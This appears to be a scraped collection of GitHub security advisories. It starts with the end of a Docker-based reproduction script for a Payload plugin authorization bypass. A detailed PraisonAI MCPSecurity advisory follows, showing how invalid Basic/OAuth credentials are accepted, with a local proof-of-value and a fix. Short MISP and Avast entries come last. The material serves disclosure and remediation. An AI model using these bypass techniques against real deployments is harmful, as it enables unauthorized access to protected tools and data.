phase2_result.json.\"\"\"\n    data: dict = {\n        \"passed\": passed,\n        \"verdict\": verdict,\n        \"reason\": reason,\n        \"build_command\": BUILD_COMMAND,\n        \"run_command\": RUN_COMMAND,\n        \"poc_command\": POC_COMMAND,\n        \"evidence\": evidence,\n        \"artifacts\": [\"Dockerfile\", \"poc.py\"],\n    }\n    if failure_detail:\n        data[\"failure_detail\"] = failure_detail\n    if build_out:\n        data[\"build_output_tail\"] = build_out[-2000:]\n    if run_out:\n        data[\"run_output\"] = run_out\n    with open(RESULT_FILE, \"w\", encoding=\"utf-8\") as fh:\n        json.dump(data, fh, indent=2, ensure_ascii=False)\n    print(f\"\\nResult written to: {RESULT_FILE}\")\n\n\ndef main() -\u003e int:\n    # -----------------------------------------------------------------------\n    # Step 1: Build the Docker image\n    # -----------------------------------------------------------------------\n    print(\"=\" * 60)\n    print(\"VULN-001 Dynamic Reproduction\")\n    print(\"=\" * 60)\n    print()\n    print(f\"[1/2] Building Docker image: {IMAGE_TAG}\")\n    print(f\"      Context : {BUILD_CONTEXT}\")\n    print(f\"      Command : {BUILD_COMMAND}\")\n    print()\n\n    rc, build_stdout, build_stderr = run(\n        [\"docker\", \"build\", \"-t\", IMAGE_TAG, \"-f\", \"vuln-001/Dockerfile\", \".\"],\n        cwd=BUILD_CONTEXT,\n    )\n\n    combined_build = (build_stdout + build_stderr).strip()\n    if rc != 0:\n        print(\"ERROR: Docker build failed.\")\n        print(combined_build[-3000:])\n        write_result(\n            passed=False,\n            verdict=\"FAIL\",\n            reason=\"Docker \ube4c\ub4dc \uc2e4\ud328 \u2014 npm install \ub610\ub294 \ud30c\uc77c \ubcf5\uc0ac \uc624\ub958\",\n            evidence=\"\",\n            build_out=combined_build,\n            failure_detail=f\"docker build exit code {rc}:\\n{combined_build[-2000:]}\",\n        )\n        return 1\n\n    print(\"      Build succeeded.\")\n    print()\n\n    # -----------------------------------------------------------------------\n    # Step 2: Run the PoC container\n    # -----------------------------------------------------------------------\n    print(f\"[2/2] Running PoC container\")\n    print(f\"      Command : {RUN_COMMAND}\")\n    print()\n\n    rc, run_stdout, run_stderr = run(\n        [\"docker\", \"run\", \"--rm\", IMAGE_TAG],\n        cwd=BUILD_CONTEXT,\n    )\n\n    combined_run = (run_stdout + run_stderr).strip()\n    print(combined_run)\n    print()\n\n    # -----------------------------------------------------------------------\n    # Step 3: Evaluate the output\n    # -----------------------------------------------------------------------\n    success_marker = \"VULNERABILITY CONFIRMED\"\n    pwned_marker = \"PWNED_BY_EXPLOIT\"\n\n    if rc == 0 and success_marker in combined_run and pwned_marker in combined_run:\n        # Extract the key evidence block\n        lines = combined_run.splitlines()\n        evidence_lines = []\n        in_block = False\n        for line in lines:\n            if success_marker in line or pwned_marker in line or \"EXPLOITATION\" in line:\n                in_block = True\n            if in_block:\n                evidence_lines.append(line)\n            if in_block and line.startswith(\"\u2192\"):\n                break\n        evidence = \"\\n\".join(evidence_lines) if evidence_lines else combined_run[-1500:]\n\n        write_result(\n            passed=True,\n            verdict=\"PASS\",\n            reason=(\n                \"\ube44\uad00\ub9ac\uc790(role=user) \uc138\uc158\uc774 POST /api/alt-text-plugin/generate?update=true \ud638\ucd9c\uc744 \ud1b5\ud574 \"\n                \"admin \uc804\uc6a9 \uceec\ub809\uc158\uc758 \ubb38\uc11c \ud544\ub4dc(alt, keywords)\ub97c \uc784\uc758 \uc218\uc815\ud558\ub294 \uac83\uc744 \uc2e4\uc81c \uc5d4\ub4dc\ud3ec\uc778\ud2b8 \ucf54\ub4dc \uc2e4\ud589\uc73c\ub85c \ud655\uc778. \"\n                \"generateAltText.ts:121\uc5d0\uc11c payload.update()\uac00 overrideAccess:false \uc5c6\uc774 \ud638\ucd9c\ub418\uc5b4 \"\n                \"Payload Local API\uc758 \uae30\ubcf8 shouldOverrideAccess = undefined !== false \u2192 true \ub85c\uc9c1\uc5d0 \uc758\ud574 \"\n                \"\uceec\ub809\uc158 \ub808\ubca8 access \ud568\uc218\uac00 \uc6b0\ud68c\ub428. \"\n                \"\uc9c1\uc811 update(overrideAccess:false) \ud638\ucd9c\uc740 AccessError\ub85c \ucc28\ub2e8\ub418\uc9c0\ub9cc \ud50c\ub7ec\uadf8\uc778 \uc5d4\ub4dc\ud3ec\uc778\ud2b8 \uacbd\uc720 \uc2dc \uc131\uacf5.\"\n            ),\n            evidence=evidence,\n            run_out=combined_run,\n        )\n        print(\"PASS \u2014 vulnerability dynamically confirmed.\")\n        return 0\n\n    else:\n        print(\"FAIL \u2014 success marker not found or container exited non-zero.\")\n        write_result(\n            passed=False,\n            verdict=\"FAIL\" if rc != 0 else \"INCOMPLETE\",\n            reason=(\n                f\"\ucee8\ud14c\uc774\ub108 \uc885\ub8cc \ucf54\ub4dc {rc}. \"\n                \"\uc131\uacf5 \ub9c8\ucee4(VULNERABILITY CONFIRMED)\uac00 \ucd9c\ub825\uc5d0\uc11c \ubc1c\uacac\ub418\uc9c0 \uc54a\uc74c. \"\n                \"\ub85c\uadf8\ub97c \ud655\uc778\ud558\uc5ec \uc6d0\uc778 \ud30c\uc545 \ud544\uc694.\"\n            ),\n            evidence=combined_run[-2000:],\n            run_out=combined_run,\n            failure_detail=f\"Container exit code: {rc}\\nstdout+stderr:\\n{combined_run}\",\n        )\n        return 1\n\n\nif __name__ == \"__main__\":\n    sys.exit(main())\n```",
  "id": "GHSA-4qpv-39hg-f7fx",
  "modified": "2026-09-16T18:56:21Z",
  "published": "2026-09-10T22:39:14Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/jhb-software/payload-plugins/security/advisories/GHSA-4qpv-39hg-f7fx"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59965"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jhb-software/payload-plugins/pull/159"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jhb-software/payload-plugins/commit/e39634868ce13a414e2981e219befc58101654d3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jhb-software/payload-plugins"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jhb-software/payload-plugins/releases/tag/alt-text@0.8.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "@jhb.software/payload-alt-text-plugin: Alt Text Endpoint Authorization Bypass via Payload Local API `overrideAccess` Omission"
}

GHSA-4QQ2-2J2X-X62C

Vulnerability from github – Published: 2026-06-18 14:25 – Updated: 2026-07-20 21:27
VLAI
Summary
npm PraisonAI MCPSecurity Basic/OAuth authentication policies accept invalid credentials without validation
Details

Summary

The published npm package praisonai exports an MCPSecurity helper described in source as:

MCP Security - Authentication, authorization, and rate limiting
Provides security policies for MCP servers.

Its AuthMethod type advertises five authentication methods:

export type AuthMethod = 'none' | 'api-key' | 'bearer' | 'basic' | 'oauth';

The authentication-policy evaluator, however, only validates credentials for api-key and bearer:

if (policy.auth.method === 'api-key' || policy.auth.method === 'bearer') {
    const valid = policy.auth.validate
        ? await policy.auth.validate(token)
        : this.validateApiKey(token);

    if (!valid) {
        return { allowed: false, reason: 'Invalid credentials' };
    }
}

return { allowed: true, context: { authenticated: true } };

For basic and oauth, any non-empty Authorization header skips the supplied validate callback and returns allowed. A local PoV configures auth.validate to always return false; invalid api-key and bearer credentials are rejected, while invalid basic and oauth credentials are accepted without calling the validator.

This is a protection-mechanism failure in the exported npm MCP security helper. It is distinct from the separate issue that the npm MCPServer HTTP transport does not enforce authentication by default.

Technical Details

SecurityPolicy.auth accepts both a method and a validator:

auth?: { method: AuthMethod; validate?: (token: string) => Promise<boolean> };

extractToken() parses both Bearer and Basic headers:

if (auth.startsWith('Bearer ')) {
    return auth.slice(7);
}
if (auth.startsWith('Basic ')) {
    return auth.slice(6);
}
return auth;

But evaluatePolicy() only calls policy.auth.validate() for two methods:

if (policy.auth.method === 'api-key' || policy.auth.method === 'bearer') {
    const valid = policy.auth.validate
        ? await policy.auth.validate(token)
        : this.validateApiKey(token);

    if (!valid) {
        return { allowed: false, reason: 'Invalid credentials' };
    }
}

There is no validation branch for basic or oauth. After extracting any non-empty token, those methods fall through to the success return:

return { allowed: true, context: { authenticated: true } };

check() then ignores successful authentication context and returns a generic allowed result:

return { allowed: true, context: { authenticated: false } };

That context propagation issue is secondary. The security-relevant flaw is that invalid Basic/OAuth credentials are allowed at all.

Why This Is Not Intended Behavior

This is not a claim that every MCPSecurity user must choose Basic or OAuth. The issue is that the API explicitly exposes those methods as authentication methods and accepts a validator callback for the policy, but the implementation does not call the validator for those methods.

The control cases prove the intended security behavior:

  • Missing Basic credentials are denied as Authentication required.
  • Invalid api-key credentials are denied as Invalid credentials.
  • Invalid bearer credentials are denied as Invalid credentials.

The only difference in the vulnerable cases is the selected advertised method. Invalid Basic/OAuth credentials should not become authenticated merely because the method is not listed in the two-method validation branch.

This also matches MCP authorization guidance. MCP servers acting as resource servers must validate received access tokens; receiving a token is not proof that it is valid or intended for the server.

PoV

Run from a local reproduction checkout:

node poc/pov_poc.js 1.7.1

The PoV:

  1. Installs npm:praisonai@1.7.1 into a temporary project with scripts disabled.
  2. Imports MCPSecurity from the package root.
  3. Creates one authenticate policy per method.
  4. Supplies an auth.validate callback that always returns false.
  5. Sends invalid api-key, bearer, basic, and oauth credentials.
  6. Confirms the missing-header Basic control is still denied.

Observed output summary from evidence/pov-npm-1.7.1.json:

{
  "package": "praisonai",
  "version": "1.7.1",
  "cases": [
    {
      "method": "api-key",
      "validateCalls": 1,
      "allowed": false,
      "reason": "Invalid credentials"
    },
    {
      "method": "bearer",
      "validateCalls": 1,
      "allowed": false,
      "reason": "Invalid credentials"
    },
    {
      "method": "basic",
      "validateCalls": 0,
      "allowed": true
    },
    {
      "method": "oauth",
      "validateCalls": 0,
      "allowed": true
    },
    {
      "method": "basic",
      "authorizationHeaderPresent": false,
      "validateCalls": 0,
      "allowed": false,
      "reason": "Authentication required"
    }
  ],
  "controlsPass": true,
  "vulnerable": true
}

The PoV is local-only. It does not start a server, contact a third-party target, or use live credentials.

PoC

The PoV section above contains the local reproduction command, input, and decisive output.

Impact

A downstream application that uses MCPSecurity to protect an HTTP MCP transport, gateway, or equivalent tool/resource endpoint can believe it has enabled Basic or OAuth authentication while accepting any non-empty Authorization header.

Depending on the protected MCP tools and resources, this can allow an unauthenticated network caller to:

  • list protected tools or resources;
  • call tools that were intended to require authentication;
  • read protected MCP resources;
  • trigger agent/workflow actions exposed behind the security helper; and
  • bypass audit assumptions based on the configured validator.

This report does not claim that npm PraisonAI wires MCPSecurity into the default MCPServer.startHttp() path. It is a library-level authentication bypass in an exported security component intended to protect MCP servers.

Severity

Suggested severity: High.

Rationale:

  • AV: the affected helper is intended to protect MCP server requests and equivalent HTTP security checks.
  • AC: a single non-empty Basic or OAuth-style Authorization header is sufficient when such a policy is configured.
  • PR: the bypass grants access without valid credentials.
  • UI: no maintainer or user interaction is required after deployment.
  • S: impact is within the PraisonAI-hosting service and its exposed MCP resources/tools.
  • C: protected MCP resources or tool outputs may be disclosed.
  • I: protected tool calls may perform state-changing actions depending on the registered tools; the score is conservative because the vulnerable helper is library-level and deployment-dependent.
  • A: the PoV does not demonstrate availability impact.

If a deployment protects high-impact write or execution tools with MCPSecurity, maintainers may reasonably score integrity higher.

Suggested Fix

Make authentication evaluation fail closed for every advertised method.

Recommended:

  1. For authenticate policies, call policy.auth.validate(token) whenever it is provided, regardless of auth.method.
  2. If no validator is provided, only fall back to validateApiKey() for api-key when that behavior is explicitly intended.
  3. For bearer and oauth, require a validator or a server-side token validation implementation; otherwise deny with a configuration error.
  4. For basic, decode the Basic credential safely and pass the decoded username/password or raw credential to a validator; if no validator exists, deny.
  5. Treat unknown or unsupported methods as denied, not allowed.
  6. Return authenticated context from check() after a successful authenticate policy instead of replacing it with { authenticated: false }.
  7. Add regression tests proving invalid credentials are rejected for api-key, bearer, basic, and oauth, and that each configured validator is called.

Minimal fail-closed shape:

if (policy.type === 'authenticate') {
  if (!policy.auth) return { allowed: false, reason: 'Authentication policy is not configured' };

  const token = request.headers ? this.extractToken(request.headers) : null;
  if (!token) return { allowed: false, reason: 'Authentication required' };

  if (policy.auth.validate) {
    const valid = await policy.auth.validate(token);
    return valid
      ? { allowed: true, context: { authenticated: true } }
      : { allowed: false, reason: 'Invalid credentials' };
  }

  if (policy.auth.method === 'api-key') {
    return this.validateApiKey(token)
      ? { allowed: true, context: { authenticated: true } }
      : { allowed: false, reason: 'Invalid credentials' };
  }

  return { allowed: false, reason: 'Authentication validator required' };
}

Affected Package/Versions

  • Repository: MervinPraison/PraisonAI
  • Ecosystem: npm
  • Package: praisonai
  • Component: TypeScript MCP security helper src/praisonai-ts/src/mcp/security.ts
  • Published dist path: node_modules/praisonai/dist/mcp/security.js
  • Latest npm package validated: 1.7.1
  • Current origin/main validated: 1ad58ca02975ff1398efeda694ea2ab78f20cf3e
  • src/praisonai-ts/package.json at origin/main: praisonai 1.7.1

Suggested affected range:

npm:praisonai >= 1.5.1, <= 1.7.1

All published npm 1.x versions were swept locally:

  • 1.0.0 through 1.5.0: the tested root export was unavailable or MCPSecurity was not exported as a constructor.
  • 1.5.1, 1.5.2, 1.5.3, 1.5.4, 1.6.0, 1.7.0, and 1.7.1: vulnerable.

The package root re-exports this helper:

export {
  MCPClient, createMCPClient, getMCPTools,
  MCPServer, createMCPServer,
  MCPSession as MCPSessionManager, createMCPSession,
  MCPSecurity, createMCPSecurity, createApiKeyPolicy, createRateLimitPolicy,
  type MCPClientConfig, type MCPSession, type MCPTransportType,
  type MCPServerConfig, type MCPServerTool,
  type SecurityPolicy, type SecurityResult
} from './mcp';

Advisory History

Visible PraisonAI advisories and prior submissions were checked. The closest public advisory is GHSA-98f9-fqg5-hvq5 / CVE-2026-34953, but that issue is distinct:

  • GHSA-98f9-fqg5-hvq5 affects the PyPI package and Python OAuthManager.validate_token().
  • This report affects the npm package and TypeScript src/praisonai-ts/src/mcp/security.ts.
  • The prior issue accepts arbitrary Bearer tokens because an empty Python token store falls through to True.
  • This issue accepts invalid Basic/OAuth credentials because the TypeScript validator callback is never called for those advertised methods.
  • The affected ranges and patched surfaces are different.

The earlier npm MCPServer report is also distinct: it covers missing auth in the HTTP transport by default. This report covers a fail-open branch in the separate exported MCPSecurity helper when users attempt to add Basic/OAuth authentication.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.7.1"
      },
      "package": {
        "ecosystem": "npm",
        "name": "praisonai"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.5.1"
            },
            {
              "fixed": "1.7.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-57134"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287",
      "CWE-288",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-18T14:25:17Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe published npm package `praisonai` exports an `MCPSecurity` helper described in source as:\n\n```text\nMCP Security - Authentication, authorization, and rate limiting\nProvides security policies for MCP servers.\n```\n\nIts `AuthMethod` type advertises five authentication methods:\n\n```ts\nexport type AuthMethod = \u0027none\u0027 | \u0027api-key\u0027 | \u0027bearer\u0027 | \u0027basic\u0027 | \u0027oauth\u0027;\n```\n\nThe authentication-policy evaluator, however, only validates credentials for `api-key` and `bearer`:\n\n```ts\nif (policy.auth.method === \u0027api-key\u0027 || policy.auth.method === \u0027bearer\u0027) {\n    const valid = policy.auth.validate\n        ? await policy.auth.validate(token)\n        : this.validateApiKey(token);\n\n    if (!valid) {\n        return { allowed: false, reason: \u0027Invalid credentials\u0027 };\n    }\n}\n\nreturn { allowed: true, context: { authenticated: true } };\n```\n\nFor `basic` and `oauth`, any non-empty `Authorization` header skips the supplied `validate` callback and returns allowed. A local PoV configures `auth.validate` to always return `false`; invalid `api-key` and `bearer` credentials are rejected, while invalid `basic` and `oauth` credentials are accepted without calling the validator.\n\nThis is a protection-mechanism failure in the exported npm MCP security helper. It is distinct from the separate issue that the npm `MCPServer` HTTP transport does not enforce authentication by default.\n\n## Technical Details\n\n`SecurityPolicy.auth` accepts both a method and a validator:\n\n```ts\nauth?: { method: AuthMethod; validate?: (token: string) =\u003e Promise\u003cboolean\u003e };\n```\n\n`extractToken()` parses both Bearer and Basic headers:\n\n```ts\nif (auth.startsWith(\u0027Bearer \u0027)) {\n    return auth.slice(7);\n}\nif (auth.startsWith(\u0027Basic \u0027)) {\n    return auth.slice(6);\n}\nreturn auth;\n```\n\nBut `evaluatePolicy()` only calls `policy.auth.validate()` for two methods:\n\n```ts\nif (policy.auth.method === \u0027api-key\u0027 || policy.auth.method === \u0027bearer\u0027) {\n    const valid = policy.auth.validate\n        ? await policy.auth.validate(token)\n        : this.validateApiKey(token);\n\n    if (!valid) {\n        return { allowed: false, reason: \u0027Invalid credentials\u0027 };\n    }\n}\n```\n\nThere is no validation branch for `basic` or `oauth`. After extracting any non-empty token, those methods fall through to the success return:\n\n```ts\nreturn { allowed: true, context: { authenticated: true } };\n```\n\n`check()` then ignores successful authentication context and returns a generic allowed result:\n\n```ts\nreturn { allowed: true, context: { authenticated: false } };\n```\n\nThat context propagation issue is secondary. The security-relevant flaw is that invalid Basic/OAuth credentials are allowed at all.\n\n### Why This Is Not Intended Behavior\n\nThis is not a claim that every `MCPSecurity` user must choose Basic or OAuth. The issue is that the API explicitly exposes those methods as authentication methods and accepts a validator callback for the policy, but the implementation does not call the validator for those methods.\n\nThe control cases prove the intended security behavior:\n\n- Missing Basic credentials are denied as `Authentication required`.\n- Invalid `api-key` credentials are denied as `Invalid credentials`.\n- Invalid `bearer` credentials are denied as `Invalid credentials`.\n\nThe only difference in the vulnerable cases is the selected advertised method. Invalid Basic/OAuth credentials should not become authenticated merely because the method is not listed in the two-method validation branch.\n\nThis also matches MCP authorization guidance. MCP servers acting as resource servers must validate received access tokens; receiving a token is not proof that it is valid or intended for the server.\n\n## PoV\n\nRun from a local reproduction checkout:\n\n```bash\nnode poc/pov_poc.js 1.7.1\n```\n\nThe PoV:\n\n1. Installs `npm:praisonai@1.7.1` into a temporary project with scripts disabled.\n2. Imports `MCPSecurity` from the package root.\n3. Creates one `authenticate` policy per method.\n4. Supplies an `auth.validate` callback that always returns `false`.\n5. Sends invalid `api-key`, `bearer`, `basic`, and `oauth` credentials.\n6. Confirms the missing-header Basic control is still denied.\n\nObserved output summary from `evidence/pov-npm-1.7.1.json`:\n\n```json\n{\n  \"package\": \"praisonai\",\n  \"version\": \"1.7.1\",\n  \"cases\": [\n    {\n      \"method\": \"api-key\",\n      \"validateCalls\": 1,\n      \"allowed\": false,\n      \"reason\": \"Invalid credentials\"\n    },\n    {\n      \"method\": \"bearer\",\n      \"validateCalls\": 1,\n      \"allowed\": false,\n      \"reason\": \"Invalid credentials\"\n    },\n    {\n      \"method\": \"basic\",\n      \"validateCalls\": 0,\n      \"allowed\": true\n    },\n    {\n      \"method\": \"oauth\",\n      \"validateCalls\": 0,\n      \"allowed\": true\n    },\n    {\n      \"method\": \"basic\",\n      \"authorizationHeaderPresent\": false,\n      \"validateCalls\": 0,\n      \"allowed\": false,\n      \"reason\": \"Authentication required\"\n    }\n  ],\n  \"controlsPass\": true,\n  \"vulnerable\": true\n}\n```\n\nThe PoV is local-only. It does not start a server, contact a third-party target, or use live credentials.\n\n## PoC\n\nThe PoV section above contains the local reproduction command, input, and decisive output.\n\n## Impact\n\nA downstream application that uses `MCPSecurity` to protect an HTTP MCP transport, gateway, or equivalent tool/resource endpoint can believe it has enabled Basic or OAuth authentication while accepting any non-empty `Authorization` header.\n\nDepending on the protected MCP tools and resources, this can allow an unauthenticated network caller to:\n\n- list protected tools or resources;\n- call tools that were intended to require authentication;\n- read protected MCP resources;\n- trigger agent/workflow actions exposed behind the security helper; and\n- bypass audit assumptions based on the configured validator.\n\nThis report does not claim that npm PraisonAI wires `MCPSecurity` into the default `MCPServer.startHttp()` path. It is a library-level authentication bypass in an exported security component intended to protect MCP servers.\n\n### Severity\n\nSuggested severity: High.\n\nRationale:\n\n- `AV`: the affected helper is intended to protect MCP server requests and equivalent HTTP security checks.\n- `AC`: a single non-empty Basic or OAuth-style Authorization header is sufficient when such a policy is configured.\n- `PR`: the bypass grants access without valid credentials.\n- `UI`: no maintainer or user interaction is required after deployment.\n- `S`: impact is within the PraisonAI-hosting service and its exposed MCP resources/tools.\n- `C`: protected MCP resources or tool outputs may be disclosed.\n- `I`: protected tool calls may perform state-changing actions depending on the registered tools; the score is conservative because the vulnerable helper is library-level and deployment-dependent.\n- `A`: the PoV does not demonstrate availability impact.\n\nIf a deployment protects high-impact write or execution tools with `MCPSecurity`, maintainers may reasonably score integrity higher.\n\n## Suggested Fix\n\nMake authentication evaluation fail closed for every advertised method.\n\nRecommended:\n\n1. For `authenticate` policies, call `policy.auth.validate(token)` whenever it is provided, regardless of `auth.method`.\n2. If no validator is provided, only fall back to `validateApiKey()` for `api-key` when that behavior is explicitly intended.\n3. For `bearer` and `oauth`, require a validator or a server-side token validation implementation; otherwise deny with a configuration error.\n4. For `basic`, decode the Basic credential safely and pass the decoded username/password or raw credential to a validator; if no validator exists, deny.\n5. Treat unknown or unsupported methods as denied, not allowed.\n6. Return authenticated context from `check()` after a successful authenticate policy instead of replacing it with `{ authenticated: false }`.\n7. Add regression tests proving invalid credentials are rejected for `api-key`, `bearer`, `basic`, and `oauth`, and that each configured validator is called.\n\nMinimal fail-closed shape:\n\n```ts\nif (policy.type === \u0027authenticate\u0027) {\n  if (!policy.auth) return { allowed: false, reason: \u0027Authentication policy is not configured\u0027 };\n\n  const token = request.headers ? this.extractToken(request.headers) : null;\n  if (!token) return { allowed: false, reason: \u0027Authentication required\u0027 };\n\n  if (policy.auth.validate) {\n    const valid = await policy.auth.validate(token);\n    return valid\n      ? { allowed: true, context: { authenticated: true } }\n      : { allowed: false, reason: \u0027Invalid credentials\u0027 };\n  }\n\n  if (policy.auth.method === \u0027api-key\u0027) {\n    return this.validateApiKey(token)\n      ? { allowed: true, context: { authenticated: true } }\n      : { allowed: false, reason: \u0027Invalid credentials\u0027 };\n  }\n\n  return { allowed: false, reason: \u0027Authentication validator required\u0027 };\n}\n```\n\n## Affected Package/Versions\n\n- Repository: `MervinPraison/PraisonAI`\n- Ecosystem: `npm`\n- Package: `praisonai`\n- Component: TypeScript MCP security helper `src/praisonai-ts/src/mcp/security.ts`\n- Published dist path: `node_modules/praisonai/dist/mcp/security.js`\n- Latest npm package validated: `1.7.1`\n- Current `origin/main` validated: `1ad58ca02975ff1398efeda694ea2ab78f20cf3e`\n- `src/praisonai-ts/package.json` at `origin/main`: `praisonai` `1.7.1`\n\nSuggested affected range:\n\n```text\nnpm:praisonai \u003e= 1.5.1, \u003c= 1.7.1\n```\n\nAll published npm `1.x` versions were swept locally:\n\n- `1.0.0` through `1.5.0`: the tested root export was unavailable or `MCPSecurity` was not exported as a constructor.\n- `1.5.1`, `1.5.2`, `1.5.3`, `1.5.4`, `1.6.0`, `1.7.0`, and `1.7.1`: vulnerable.\n\nThe package root re-exports this helper:\n\n```ts\nexport {\n  MCPClient, createMCPClient, getMCPTools,\n  MCPServer, createMCPServer,\n  MCPSession as MCPSessionManager, createMCPSession,\n  MCPSecurity, createMCPSecurity, createApiKeyPolicy, createRateLimitPolicy,\n  type MCPClientConfig, type MCPSession, type MCPTransportType,\n  type MCPServerConfig, type MCPServerTool,\n  type SecurityPolicy, type SecurityResult\n} from \u0027./mcp\u0027;\n```\n\n## Advisory History\n\nVisible PraisonAI advisories and prior submissions were checked. The closest public advisory is `GHSA-98f9-fqg5-hvq5` / `CVE-2026-34953`, but that issue is distinct:\n\n- `GHSA-98f9-fqg5-hvq5` affects the PyPI package and Python `OAuthManager.validate_token()`.\n- This report affects the npm package and TypeScript `src/praisonai-ts/src/mcp/security.ts`.\n- The prior issue accepts arbitrary Bearer tokens because an empty Python token store falls through to `True`.\n- This issue accepts invalid Basic/OAuth credentials because the TypeScript validator callback is never called for those advertised methods.\n- The affected ranges and patched surfaces are different.\n\nThe earlier npm `MCPServer` report is also distinct: it covers missing auth in the HTTP transport by default. This report covers a fail-open branch in the separate exported `MCPSecurity` helper when users attempt to add Basic/OAuth authentication.",
  "id": "GHSA-4qq2-2j2x-x62c",
  "modified": "2026-07-20T21:27:02Z",
  "published": "2026-06-18T14:25:17Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-4qq2-2j2x-x62c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "npm PraisonAI MCPSecurity Basic/OAuth authentication policies accept invalid credentials without validation"
}

GHSA-4QR4-PQWX-M352

Vulnerability from github – Published: 2026-06-12 21:31 – Updated: 2026-06-12 21:31
VLAI
Details

A vulnerability in MISP’s non-REST event editing path allowed an authenticated user with event edit permissions to manipulate the submitted form data and set an event’s sharing_group_id to a sharing group they were not authorized to use. When distribution was set to sharing group distribution, the non-REST save path accepted the submitted sharing_group_id without performing the same sharing group authorization check enforced by the REST edit path.

An attacker could exploit this by tampering with the event edit request and assigning an event to an undisclosed or unauthorized sharing group. This could result in unauthorized use of restricted sharing groups, disclosure of the sharing group name in event listings, and unintended modification of the event’s distribution metadata.

The issue is fixed by validating that the selected sharing group can be used by the current user when the sharing group is changed, and by clearing sharing_group_id when the event distribution is not set to sharing group distribution.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-54397"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-12T21:16:25Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability in MISP\u2019s non-REST event editing path allowed an authenticated user with event edit permissions to manipulate the submitted form data and set an event\u2019s sharing_group_id to a sharing group they were not authorized to use. When distribution was set to sharing group distribution, the non-REST save path accepted the submitted sharing_group_id without performing the same sharing group authorization check enforced by the REST edit path.\n\nAn attacker could exploit this by tampering with the event edit request and assigning an event to an undisclosed or unauthorized sharing group. This could result in unauthorized use of restricted sharing groups, disclosure of the sharing group name in event listings, and unintended modification of the event\u2019s distribution metadata.\n\nThe issue is fixed by validating that the selected sharing group can be used by the current user when the sharing group is changed, and by clearing sharing_group_id when the event distribution is not set to sharing group distribution.",
  "id": "GHSA-4qr4-pqwx-m352",
  "modified": "2026-06-12T21:31:46Z",
  "published": "2026-06-12T21:31:46Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54397"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MISP/MISP/commit/609ff6c785d7dae41d22ef43dda9347d34cd2a58"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-4QVM-73C7-9W94

Vulnerability from github – Published: 2024-05-03 03:31 – Updated: 2024-05-03 03:31
VLAI
Details

Avast Premium Security Sandbox Protection Incorrect Authorization Privilege Escalation Vulnerability. This vulnerability allows local attackers to escalate privileges on affected installations of Avast Premium Security. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.

The specific flaw exists within the implementation of the sandbox feature. The issue results from incorrect authorization. An attacker can leverage this vulnerability to escalate privileges and execute arbitrary code outside the sandbox at medium integrity. Was ZDI-CAN-20178.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-42124"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-05-03T03:15:51Z",
    "severity": "MODERATE"
  },
  "details": "Avast Premium Security Sandbox Protection Incorrect Authorization Privilege Escalation Vulnerability. This vulnerability allows local attackers to escalate privileges on affected installations of Avast Premium Security. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.\n\nThe specific flaw exists within the implementation of the sandbox feature. The issue results from incorrect authorization. An attacker can leverage this vulnerability to escalate privileges and execute arbitrary code outside the sandbox at medium integrity. Was ZDI-CAN-20178.",
  "id": "GHSA-4qvm-73c7-9w94",
  "modified": "2024-05-03T03:31:04Z",
  "published": "2024-05-03T03:31:04Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-42124"
    },
    {
      "type": "WEB",
      "url": "https://www.zerodayinitiative.com/advisories/ZDI-23-1474"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4QXC-98VX-FP5G

Vulnerability from github – Published: 2025-01-21 21:30 – Updated: 2025-01-21 21:30
VLAI
Details

